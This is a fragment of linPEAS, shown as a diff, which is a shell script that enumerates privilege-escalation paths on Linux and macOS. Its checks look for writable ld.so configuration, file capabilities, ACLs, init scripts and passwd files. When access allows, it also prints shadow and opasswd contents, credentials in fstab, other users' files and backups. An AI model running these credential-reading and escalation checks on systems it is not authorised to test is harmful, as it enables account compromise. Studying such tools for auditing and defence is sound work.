if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n"
|
||||
fi
|
||||
else #If not a path
|
||||
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then #Check if existing binary
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
if [ "$LDD" ] || [ "$READELF" ]; then
|
||||
echo "$ITALIC --- Checking for writable dependencies of $sname...$NC"
|
||||
fi
|
||||
if [ "$LDD" ]; then
|
||||
"$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
if [ "$READELF" ]; then
|
||||
"$READELF" -d "$sname" | grep PATH | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
|
||||
if [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then
|
||||
printf "$ITALIC"
|
||||
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
|
||||
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
|
||||
printf "$NC"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done;
|
||||
echo ""
|
||||
|
||||
##-- IPF) Misconfigured ld.so
|
||||
if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then
|
||||
print_2title "Checking misconfigurations of ld.so"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld.so"
|
||||
if [ -f "/etc/ld.so.conf" ] && [ -w "/etc/ld.so.conf" ]; then
|
||||
echo "You have write privileges over /etc/ld.so.conf" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
printf $RED$ITALIC"/etc/ld.so.conf\n"$NC;
|
||||
else
|
||||
printf $GREEN$ITALIC"/etc/ld.so.conf\n"$NC;
|
||||
fi
|
||||
|
||||
echo "Content of /etc/ld.so.conf:"
|
||||
cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
|
||||
# Check each configured folder
|
||||
cat /etc/ld.so.conf 2>/dev/null | while read l; do
|
||||
if echo "$l" | grep -q include; then
|
||||
ini_path=$(echo "$l" | cut -d " " -f 2)
|
||||
fpath=$(dirname "$ini_path")
|
||||
|
||||
if [ -d "/etc/ld.so.conf" ] && [ -w "$fpath" ]; then
|
||||
echo "You have write privileges over $fpath" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
printf $RED_YELLOW$ITALIC"$fpath\n"$NC;
|
||||
else
|
||||
printf $GREEN$ITALIC"$fpath\n"$NC;
|
||||
fi
|
||||
|
||||
if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then
|
||||
echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
fi
|
||||
|
||||
for f in $fpath/*; do
|
||||
if [ -w "$f" ]; then
|
||||
echo "You have write privileges over $f" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
printf $RED_YELLOW$ITALIC"$f\n"$NC;
|
||||
else
|
||||
printf $GREEN$ITALIC" $f\n"$NC;
|
||||
fi
|
||||
|
||||
cat "$f" | grep -v "^#" | while read l2; do
|
||||
if [ -f "$l2" ] && [ -w "$l2" ]; then
|
||||
echo "You have write privileges over $l2" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
printf $RED_YELLOW$ITALIC" - $l2\n"$NC;
|
||||
else
|
||||
echo $ITALIC" - $l2"$NC | sed -${E} "s,$l2,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g";
|
||||
fi
|
||||
done
|
||||
done
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
|
||||
if [ -f "/etc/ld.so.preload" ] && [ -w "/etc/ld.so.preload" ]; then
|
||||
echo "You have write privileges over /etc/ld.so.preload" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
else
|
||||
printf $ITALIC$GREEN"/etc/ld.so.preload\n"$NC;
|
||||
fi
|
||||
cat /etc/ld.so.preload 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
cat /etc/ld.so.preload 2>/dev/null | while read l; do
|
||||
if [ -f "$l" ] && [ -w "$l" ]; then echo "You have write privileges over $l" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
||||
done
|
||||
|
||||
fi
|
||||
|
||||
##-- IPF) Capabilities
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Capabilities"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
|
||||
if [ "$(command -v capsh)" ]; then
|
||||
|
||||
print_3title "Current shell capabilities"
|
||||
cat "/proc/$$/status" | grep Cap | while read -r cap_line; do
|
||||
cap_name=$(echo "$cap_line" | awk '{print $1}')
|
||||
cap_value=$(echo "$cap_line" | awk '{print $2}')
|
||||
if [ "$cap_name" = "CapEff:" ]; then
|
||||
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")"
|
||||
else
|
||||
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
print_3title "Parent process capabilities"
|
||||
cat "/proc/$PPID/status" | grep Cap | while read -r cap_line; do
|
||||
cap_name=$(echo "$cap_line" | awk '{print $1}')
|
||||
cap_value=$(echo "$cap_line" | awk '{print $2}')
|
||||
if [ "$cap_name" = "CapEff:" ]; then
|
||||
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")"
|
||||
else
|
||||
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
else
|
||||
print_3title "Current shell capabilities"
|
||||
(cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status"
|
||||
echo ""
|
||||
|
||||
print_3title "Parent proc capabilities"
|
||||
(cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$PPID/status"
|
||||
echo ""
|
||||
fi
|
||||
echo ""
|
||||
echo "Files with capabilities (limited to 50):"
|
||||
getcap -r / 2>/dev/null | head -n 50 | while read cb; do
|
||||
capsVB_vuln=""
|
||||
|
||||
for capVB in $capsVB; do
|
||||
capname="$(echo $capVB | cut -d ':' -f 1)"
|
||||
capbins="$(echo $capVB | cut -d ':' -f 2)"
|
||||
if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then
|
||||
echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
capsVB_vuln="1"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if ! [ "$capsVB_vuln" ]; then
|
||||
echo "$cb" | sed -${E} "s,$capsB,${SED_RED},"
|
||||
fi
|
||||
|
||||
if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then
|
||||
echo "$cb is writable" | sed -${E} "s,.*,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Users with capabilities
|
||||
if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Users with capabilities"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
|
||||
if [ -f "/etc/security/capability.conf" ]; then
|
||||
grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||
else echo_not_found "/etc/security/capability.conf"
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) AppArmor profiles to prevent suid/capabilities abuse
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
if [ -d "/etc/apparmor.d/" ] && [ -r "/etc/apparmor.d/" ]; then
|
||||
print_2title "AppArmor binary profiles"
|
||||
ls -l /etc/apparmor.d/ 2>/dev/null | grep -E "^-" | grep "\."
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
##-- IPF) Files with ACLs
|
||||
print_2title "Files with ACLs (limited to 50)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||
else
|
||||
( (getfacl -t -s -R -p $SEARCH_IN_FOLDER 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||
fi
|
||||
|
||||
if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow)
|
||||
ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||
fi
|
||||
echo ""
|
||||
|
||||
##-- IPF) Files with ResourceFork
|
||||
#if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then # TOO SLOW, CHECK IT LATER
|
||||
# print_2title "Files with ResourceFork"
|
||||
# print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#resource-forks-or-macos-ads"
|
||||
# find $HOMESEARCH -type f -exec ls -ld {} \; 2>/dev/null | grep -E ' [x\-]@ ' | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
|
||||
#fi
|
||||
#echo ""
|
||||
|
||||
##-- IPF) Files (scripts) in /etc/profile.d/
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Files (scripts) in /etc/profile.d/"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files"
|
||||
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
|
||||
(ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/"
|
||||
check_critial_root_path "/etc/profile"
|
||||
check_critial_root_path "/etc/profile.d/"
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Files (scripts) in /etc/init.d/
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Permissions in init, init.d, systemd, and rc.d"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d"
|
||||
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
|
||||
check_critial_root_path "/etc/init/"
|
||||
check_critial_root_path "/etc/init.d/"
|
||||
check_critial_root_path "/etc/rc.d/init.d"
|
||||
check_critial_root_path "/usr/local/etc/rc.d"
|
||||
check_critial_root_path "/etc/rc.d"
|
||||
check_critial_root_path "/etc/systemd/"
|
||||
check_critial_root_path "/lib/systemd/"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
fi
|
||||
|
||||
|
||||
|
||||
##-- IPF) Hashes in passwd file
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_list "Hashes inside passwd file? ........... "
|
||||
if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IPF) Writable in passwd file
|
||||
print_list "Writable passwd file? ................ "
|
||||
if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IPF) Credentials in fstab
|
||||
print_list "Credentials in fstab/mtab? ........... "
|
||||
if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IPF) Read shadow files
|
||||
print_list "Can I read shadow files? ............. "
|
||||
if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
print_list "Can I read shadow plists? ............ "
|
||||
possible_check=""
|
||||
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
|
||||
|
||||
print_list "Can I write shadow plists? ........... "
|
||||
possible_check=""
|
||||
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
|
||||
|
||||
##-- IPF) Read opasswd file
|
||||
print_list "Can I read opasswd file? ............. "
|
||||
if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo ""
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IPF) network-scripts
|
||||
print_list "Can I write in network-scripts? ...... "
|
||||
if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IPF) Read root dir
|
||||
print_list "Can I read root folder? .............. "
|
||||
(ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Root files in home dirs
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Searching root files in home dirs (limit 30)"
|
||||
(find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Others files in my dirs
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Searching folders owned by me containing others files on it (limit 100)"
|
||||
(find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec ls -l {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Readable files belonging to root and not world readable
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Readable files belonging to root and readable by me but not world readable"
|
||||
(find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Interesting writable files by ownership or all
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
|
||||
#In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all
|
||||
obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
|
||||
printf "%s\n" "$obmowbe" | while read entry; do
|
||||
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
|
||||
elif echo "$entry" | grep -qE "$writeVB"; then
|
||||
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Interesting writable files by group
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Interesting GROUP writable files (not in Home) (max 500)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
|
||||
for g in $(groups); do
|
||||
iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
|
||||
if [ "$iwfbg" ] || [ "$DEBUG" ]; then
|
||||
printf " Group $GREEN$g:\n$NC";
|
||||
printf "%s\n" "$iwfbg" | while read entry; do
|
||||
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
|
||||
elif echo "$entry" | grep -Eq "$writeVB"; then
|
||||
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
@@ -1,6 +0,0 @@
|
||||
|
||||
if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then
|
||||
peass{REGEXES}
|
||||
else
|
||||
echo "Regexes to search for API keys aren't activated, use param '-r' "
|
||||
fi
|
||||
315
linPEAS/builder/linpeas_parts/9_interesting_files.sh
Normal file
315
linPEAS/builder/linpeas_parts/9_interesting_files.sh
Normal file
@@ -0,0 +1,315 @@
|
||||
###########################################
|
||||
#----------) Interesting files (----------#
|
||||
###########################################
|
||||
|
||||
|
||||
##-- IF) .sh files in PATH
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title ".sh files in path"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path"
|
||||
echo $PATH | tr ":" "\n" | while read d; do
|
||||
for f in $(find "$d" -name "*.sh" -o -name "*.sh.*" 2>/dev/null); do
|
||||
if ! [ "$IAMROOT" ] && [ -O "$f" ]; then
|
||||
echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED},"
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits)
|
||||
echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},";
|
||||
fi
|
||||
done
|
||||
done
|
||||
echo ""
|
||||
|
||||
broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken)
|
||||
if [ "$broken_links" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Broken links in path"
|
||||
echo $PATH | tr ":" "\n" | while read d; do
|
||||
find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},";
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
##-- IF) Date times inside firmware
|
||||
if [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Files datetimes inside the firmware (limit 50)"
|
||||
find "$SEARCH_IN_FOLDER" -type f -printf "%T+\n" 2>/dev/null | sort | uniq -c | sort | head -n 50
|
||||
echo "To find a file with an specific date execute: find \"$SEARCH_IN_FOLDER\" -type f -printf \"%T+ %p\n\" 2>/dev/null | grep \"<date>\""
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Executable files added by user
|
||||
print_2title "Executable files potentially added by user (limit 70)"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70
|
||||
else
|
||||
find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70
|
||||
fi
|
||||
echo ""
|
||||
|
||||
|
||||
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Unsigned Applications"
|
||||
macosNotSigned /System/Applications
|
||||
fi
|
||||
|
||||
##-- IF) Unexpected in /opt
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
if [ "$(ls /opt 2>/dev/null)" ]; then
|
||||
print_2title "Unexpected in /opt (usually empty)"
|
||||
ls -la /opt
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
##-- IF) Unexpected folders in /
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Unexpected in root"
|
||||
if [ "$MACPEAS" ]; then
|
||||
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
|
||||
else
|
||||
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Modified interesting files into specific folders in the last 5mins
|
||||
print_2title "Modified interesting files in the last 5mins (limit 100)"
|
||||
find $ROOT_FOLDER -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED},"
|
||||
echo ""
|
||||
|
||||
##-- IF) Writable log files
|
||||
if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then #3.18.0 and below
|
||||
print_2title "Writable log files (logrotten) (limit 50)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#logrotate-exploitation"
|
||||
logrotate --version 2>/dev/null || echo_not_found "logrotate"
|
||||
lastWlogFolder="ImPOsSiBleeElastWlogFolder"
|
||||
logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50)
|
||||
printf "%s\n" "$logfind" | while read log; do
|
||||
if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then #Only print info if something interesting found
|
||||
if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC;
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log";
|
||||
elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g";
|
||||
fi
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
echo ""
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
##-- IF) Files inside my home
|
||||
print_2title "Files inside $HOME (limit 20)"
|
||||
(ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found
|
||||
echo ""
|
||||
|
||||
##-- IF) Files inside /home
|
||||
print_2title "Files inside others home (limit 20)"
|
||||
(find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found
|
||||
echo ""
|
||||
|
||||
##-- IF) Mail applications
|
||||
print_2title "Searching installed mail applications"
|
||||
ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" | sort | uniq
|
||||
echo ""
|
||||
|
||||
##-- IF) Mails
|
||||
print_2title "Mails (limit 50)"
|
||||
(find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
|
||||
echo ""
|
||||
|
||||
##-- IF) Backup folders
|
||||
if [ "$backup_folders" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Backup folders"
|
||||
printf "%s\n" "$backup_folders" | while read b ; do
|
||||
ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g";
|
||||
ls -l "$b" 2>/dev/null && echo ""
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
##-- IF) Backup files
|
||||
print_2title "Backup files (limited 100)"
|
||||
backs=$(find $ROOT_FOLDER -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null)
|
||||
printf "%s\n" "$backs" | head -n 100 | while read b ; do
|
||||
if [ -r "$b" ]; then
|
||||
